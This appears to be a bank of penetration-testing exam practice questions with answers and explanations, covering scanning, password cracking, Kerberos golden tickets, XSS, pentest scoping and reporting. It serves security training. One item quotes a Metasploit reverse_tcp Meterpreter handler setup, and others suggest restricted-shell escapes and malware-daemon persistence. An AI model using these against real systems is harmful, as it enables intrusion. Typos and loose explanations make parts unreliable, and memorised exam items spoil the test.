If the parameters of the HTTP request can be altered to point to a malicious location, its possible the web application is susceptible to remote file inclusion, which in turn could allow for malicious code to be run on the server or on the client
Which of the following are OllyDbg, WinDbg, and IDA? A.Malwares B.Debuggers C.DoS tools D.Windows exploitation tools
B.Debuggers
Explanation:
OllyDbg is an x86 debugger that emphasizes binary code analysis, which is useful when source code is not available. It traces registers, recognizes procedures, API calls, switches, tables, constants and strings, as well as locates routines from object files and libraries.
WinDbg is a multipurpose debugger for the Microsoft Windows computer operating system, distributed by Microsoft. Debugging is the process of finding and resolving errors in a system; in computing it also includes exploring the internal operation of software as a help to development.
The Interactive Disassembler (IDA) is a disassembler for computer software which generates assembly language source code from machine-executable code. It supports a variety of executable formats for different processors and operating systems.
James would like to get remote access to a Linux machine.
What tool could he use that is similar to Remote Desktop in Windows? A.VNC B.SMB C.SSH D.Telnet
A.VNC
Explanation:
Virtual Networking Computing (VNC) is a common remote control tool.
Much like Remote Desktop Protocol (RDP), VNC can be used to remotely control a host through the graphical user interface.
There are several VNC solutions and each has its pros and cons.
VNC solutions and each has its pros and cons.
VNC, in most cases, is cross-platform software, meaning it can be used on Windows, Linux and MAC
802.11, 802.11a, 802.11b, 201.11g, 802.11n, and 802.11ac are all standards for what type of devices? A.Ethernet B.Wi-Fi C.BLuetooth D.Opticss
B.Wi-Fi
Explanation:
The 802.11 (routers and access points) is a family of Wi-Fi devices.
Wireless networks that use IEEE 802.11 standards rely on RF for transmitting and receiving data
What cannot be found by using theHarvester? A.Vulnerabilities B.Email accounts C.Domain names D.Open ports
A.Vulnerabilities
Explanation:
While theHarvester does collect a wide variety of data, such as emails, domain, subdomains, virtual hosts, open ports, and service banners, theHarvester is not a vulnerability scanner and does not provide vulnerability information
What is sudo?
A.Sudo is a vulnerability scanning tool for Linux
B.Sudo is the default admin user on Linux machines
C.Sudo is a vulnerable Linux distro
D.Sudo stands for super user do and is used for elevating privileges
D.Sudo stands for super user do and is used for elevating privileges
Explanation:
Sudo is a program for Unix-like operating systems that allows administrators to delegate authority within the operating system to low privileged user accounts
Mechanisms like whitelisting and blacklisting can be used on which of the following?
A.Firewall, IPS and IDS
B.Man-in-the-middle tools and sniffing tools
C.Malware and Trojan horses
D.Vulnerability scanners and host discovery services
A.Firewall, IPS and IDS
Explanation:
In computer security, whitelisting and blacklisting are basic access control mechanisms that can be implemented in network firewalls, spam filters, web application firewalls (WAFs) etc.
A blacklist is the opposite - it allows all but denies members of the blacklist
Alex is conducting a network scan, but he is only able to find half the hosts in the network using a regular Nmap command.
When he adds “-Pn” to the command line all hosts appear in the results.
How is the -Pn affecting the results?
A.-Pn configures the scanner to find offline hosts
B.-Pn disables ICMP requests
C.-Pn is a UDP scan, and hosts respond to UDP traffic
D.-Pn enables Nmap to use DNS queries
B.-Pn disables ICMP requests
Explanation:
-Pn means “disable ping” or “do not use ICMP echo requests” to determine if a host is online or not.
Many operating systems are configured not to respond to ICMP echo requests (or ping),
With a default configuration, Nmap would assume hosts and not responding to ping were offline hosts and would skip them
George has successfully logged in on a compromised Linux machine.
He is greeted with a restricted shell.
What could he try in order to upgrade to full shell access?
A.Try to elevate his privileges by using local file inclusion
B.Brute-force admin credentials
C.Check what commands he can run and focus on SUID commands
D.Log in to the server on a different port
C.Check what commands he can run and focus on SUID commands
Explanation:
When greeted with a restricted shell, a pentester can try the following techniques:
- Check the commands you can run, particularly looking for SUID commands
- Check to see if you can use sudo and what sudo commands you can execute
- Check for languages like Perl, Python or Ruby that you can run
- Check to see if you can use redirect operators like | or > and escape characters like single quotes, double quotes or other execution tags
In a cold boot attack, the attacker is attempting to:
A.Recover encryption keys from the memory of a powered-off device
B.Boot from a malicious USB device
C.Force the Windows server to boot into safe mode
D.Force the Wi-Fi access point to reboot
A.Recover encryption keys from the memory of a powered-off device
Explanation:
The cold boot attack is an attack method discovered by Princeton University researches (roughly a decade ago) who were able to demonstrate the ability to recover disk encryption keys from random access memory (RAM) when the power is cycled on the device
Tim has asked Peter if he can scan his website for vulnerabilities and old versions.
Which tool is most suitable for getting this information in a passive way? A.Burp Suite B.DirButser C.Nikto D.Wfuzz
A.Burp Suite
Explanation:
Burp Suite would be the most suitable tool because it uses a proxy to intercept the HTTP requests going to and from a website in an easily readable way
Nikto is an open-source web application scanning tool that uses a command-line interface that does not have a proxy and cannot intercept HJTTP requests
Wfuzz is a web application fuzzer that uses payloads of data to sniff out directories, files or headers.
It cannot intercept HTTP requests
DirBuster is a tool used for finding directories in a web application, not to intercept HTTP requests
When defining scope, you need to consider the difference between “third-party assests” and “third party hosted assets”
Whats the difference?
A.Third-party assets are located on a third-party resource, and third-party hosted assets are owned by a third party company
B.Both third-party assets and third-party hosted assets belong to a third-party company
C.Third-party assets belong to another company, and third-party hosted assets belong to the client company but are hosted on another resources
D.They are essentially the same thing, but the third-party hosted assets are simple hosted online
C.Third-party assets belong to another company, and third-party hosted assets belong to the client company but are hosted on another resources
Explanation:
When defining the scope of a pentest, it is very important to be able to distinguish assets owned by the client and those owned by a third party
In the following situation, what should the pentester do:
A SQL injection has been found on a publicly available server.
A.Note the finding and add it to the top of the pentest report
B.Mitigate the issue and then notify the client
C.Proceed with testing as this is not a critical vulnerability
D.Notify the client immediately
D.Notify the client immediately
Explanation:
When a pentester finds a critical finding on the network such as a publicly exploitable vulnerability from outside the firewall that anyone on the Internet could exploit, it should be brought to the clients attention so the proper mitigation can be applied to prevent the potential risk of compromise
In Kerberos ticketing attack, ticket-granting tickets (TGTs) are incredibly valuable and can be created with extended life spans.
What do attackers usually call successfully acquired TGTs? A.Golden Tickets B.Default credentials C.Session tickets D.Admin Hashes
A.Golden Tickets
Explanation:
When attackers succeed in acquiring TGTs, they often call them golden tickets because they allow complete access to Kerberos-connected systems, including creation of new tickets, account changes and even creation of accounts or services
Given the Metasploit excerpt below, what type of attack is being attempted?
$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run
A.Binding shell
B.Pass the hash
C.Reverse shell
D.user enumeration
C.Reverse shell
Explanation:
The Metasploit Meterpreter shell and reverse shell are effective ways of interacting with a target environment, as they run entirely in memory and leave little or no trace after disconnecting
What would be the result of the following command?
‘airmon-ng start wlan0 9’
A.Attempt to connect to wlan0 9 times
B.Start of 9 monitoring interfaces for wlan0
C.Use 9 as a password for wlan0 network
D.Start of a Wi-Fi monitoring interface on channel 9
D.Start of a Wi-Fi monitoring interface on channel 9
Explanation:
The “airmon-ng” command is included in the Aircrack-ng suite of tools, in order to configure an adapter in monitor mode.
Which tool can be used to enumerate the applications on local and remote Windows hosts? A.WMI B.Remote Desktop C.SSH D.Telnet
A.WMI
Explanation:
Windows management instrumentation (WMI) is a powerful tool that allows local and remote data-gathering and is installed on all Windows machines
James is looking for a tool for offline password cracking.
He would like to take advantage of the GPU cores on his machine.
Which tool would you suggest to James? A.Hashcat B.John the Ripper C.Mimikatz D.Hydra
A.Hashcat
Explanation:
Hashcat is a password cracking utility that uses graphics processing unites (GPUs) to crack passwords at a very high rate of speed.
Hashcat is much faster than the traditional tools (like John the Ripper, which is CPU-bound), making it a tool of choice if you have access to appropriate hardware
SInce detection is not a concern, which method of persistence would you choose when exploiting a Linux machine?
A.Create a daemon with malware
B.USe code injection and inject it into a service
C.Edit the boot loaded to load the malware
D.USe DLL injection
A.Create a daemon with malware
Explanation:
Daemons are programs that run in the bacvkground and not under the control of the user. Think of daemons like services in WIndows
Code Injection would require much more effort and would only benefit if the goal was to hide the attack
DLLs are used in WIndows OS only
Editing the boot loader would require much higher privileges and much more effort in comparison to creating a daemon
When sending a business card over Bluetooth, James uses the connection to sneak a message into the transfer.
What type of attack is this?
A.Bluesmacking
B.Bluejacking
C.Session hijacking
D.Bluetooth man-in-the-middle
B.Bluejacking
Explanation:
This method transmits data to the device without the users knowledge
A typical way to carry out this type of attack is by sending an electronic business card via Bluetooth to an unsuspecting victim
James client uses a techonology that associates servers with their public keys.
What type of technique is this? A.TLS over TCP B.Certificate pinning C.Pass the hash D.Two-factor authentication
B.Certificate pinning
Explanation:
Certificate pinning is the technique of associating one host with its public key and using it to make a trust decision.
Once the public key changes, the host is no longer trusted.
SSH is an example of a service that uses this technology
Amy is preparing a pentest report.
Should she include information about testing methods and objectives that did not provide any significant result?
A.No, such results are never included
B.Yes, all information should be included in the report
C.No, she should only include results with high success rates
D.It is the report writers decision if those should be included
B.Yes, all information should be included in the report
Explanation:
In the pentest report, all methods and objectives previously discussed in the statement of work (SOW) should be addressed. Any information, even insignificant, could be useful for the client. Sometimes, a given method does not produce successful results, but could still provide good insight to the client environment and help find room for improvement.
Which attack technique could be applicable in a web application pentest? A.ARP Spoofing B.Kernel exploit C.Bluejacking D.Reflected HTML injection
D.Reflected HTML injection
Explanation:
A reflected HTML injection vulnerability is a non-persistent browser execution attack, meaning that the injection would be lost once the current browser session was closed
WHich of the following could be considered a proper multifactor authentication solution?
A.HTTP password and htaccess password
B.Password authentication and SMS-received PIN
C.HTTP login and HTTPS Login pages
D.Two different password authentication mechanisms
B.Password authentication and SMS-received PIN
Explanation:
Multifactor authentication would suggest more than one authentication method.
Passwords, even if used several times, are a single method of authentication.
Multifactor authentication implementations combine two or more authentication mechanisms coming from different authentication categories (or factors)
When attempting to test the security of an IOS application, which tool would James most likely choose? A.APKX B.Drozer C.iGoat D.APK Studio
C.iGoat
Explanation:
iGoat and DVIA (Damn Vulnerable iOS App) was developed to assist pentesters and security researches with testing against common weakness in a safe and legal environment
Testing multiple password variations to obtain the admin username on a website is essentially:
A.Credential harvesting
B.Brute-forcing
C.Pass the hash
D.Dictionary attack
B.Brute-forcing
Explanation:
Brute-force apssword attacks are very inefficient and are typically a last resort.
However, tools like John the Ripper, Cain and Abel, and Hashcat help increase the chances of successful password exploitation.
JTR can conduct both dictionary and brute-force password attacks against common hashing algorithms
In website enumeration, what would spidering a website usually do?
A.Spidering is a vulnerability scanning method for testing mutiple exploits
B.Spidering is also called web crawling and it indexes pages on the website
C.SPidering a website is related to testing the certificates associated with the site
D,SPidering is form of DOS attack against a website
B.Spidering is also called web crawling and it indexes pages on the website
Explanation:
Crawling a website usually involves bots and scripts that automatically browse the website and index all pages.
Rob has compromised a Linux machine and gained shell access.
He noticed that there is an OpenSSH X11 session on the machine.
What technique could Robtry agaisnt the open session?
A.Hijacking the session
B.Attempting a man-in-the-middle attack
C.Sniffing the connection
D.There is nothing to be done against an OpenSSH X 11 session
A.Hijacking the session
Explanation:
Rob could try hijacking the OpenSSH X11 session.
OpenSSH 4.3p2, and probably other versions, allows local users to hijack forwarded X connections by causing SSH ti set DISPLAY to :10, even when another process is listening on the associated port
What would the following command produce?
‘net view /AMS’
A.A list of groups in the AMS domain
B.A list of networks in the AMS domain
C.A list of hosts in the AMS domain
D.A list of users in the AMS domain
C.A list of hosts in the AMS domain
Explanation:
You can also use /domain:[domain name] to search a domain that the system has access to other than the current domain.
In thise case the domain name is “AMS”, which usually stands for “Americas”
Consider the following output:
Share name Resource Remark
ADMIN$ C:\Windows Remote Admin
C$ C:\ Default share
D$ D:\ Default share
E$ E:\ Default share
F$ F:\ Default share
G$ G:\ Default share
K$ K:\ Default share
IPC$ Remote IPC
N$ N:\ Default share
The command completed successfully.
What command was used to produce this output and what does it show us?
A.The command is “net session” and the output shows current SMB shares on remote hosts
B.The command is “net share” and the output shows current SMB shares on a local host
C.The command is “smb list” and the output shows all SMB shares on a local host
D.The command is ‘rpcclient –list” and the output shows all SMB shares on a remote host
B.The command is “net share” and the output shows current SMB shares on a local host
Explanation:
The “net: command in Windows is very powerful.
You can use net view \ to discover available Windows shared drives or showmount -e for NFS shares
Data isolation is usually important in what sort of engagement? A.Goal Based B.Compliance Based C.Red Team D.Black Box
B.Compliance Based
Explanation:
Data isolation usually is related to systems covered by a compliance requirement.
Such systems fall under specific conditions directly related to the purpose they are built for.
Which of the following technique could be used for lateral movement between WIndows host?
A.Man-in-the-middle
B.RCE
C.RPC (Remote Proecure Call)/ Distributed Component Object Model (DCOM)
D.LFI
C.RPC (Remote Proecure Call)/ Distributed Component Object Model (DCOM)
Explanation:
The MITRE ATT&CK matrix identifies the Microsoft Windows distributed component object model (DCOM) as a valid lateral movement technique that can be used to extend the functionality of the component object model (COM) from the local computer to other computers, using remote procedure call (RPC) technology
RCE stands Remote Code Execution
LFI stands for local file inclusion
Man in the middle is a traffic capture and sniffing technique
An attack is able to input malicious JavaScript into a comment entry under a post on a web page.
This script is executed upon loading the page with the post.
What type of vulnrability does this describe?
A.Reverse shell
B.Reflected cross-site scripting (reflected XSS)
C.Stored Cross-site scripting (Stored XSS)
D.SQL Injection
C.Stored Cross-site scripting (Stored XSS)
Explanation:
Stored or persistent XSS is a vulnerability much like reflected XSS: however, it does not disappear upon reloading of the page
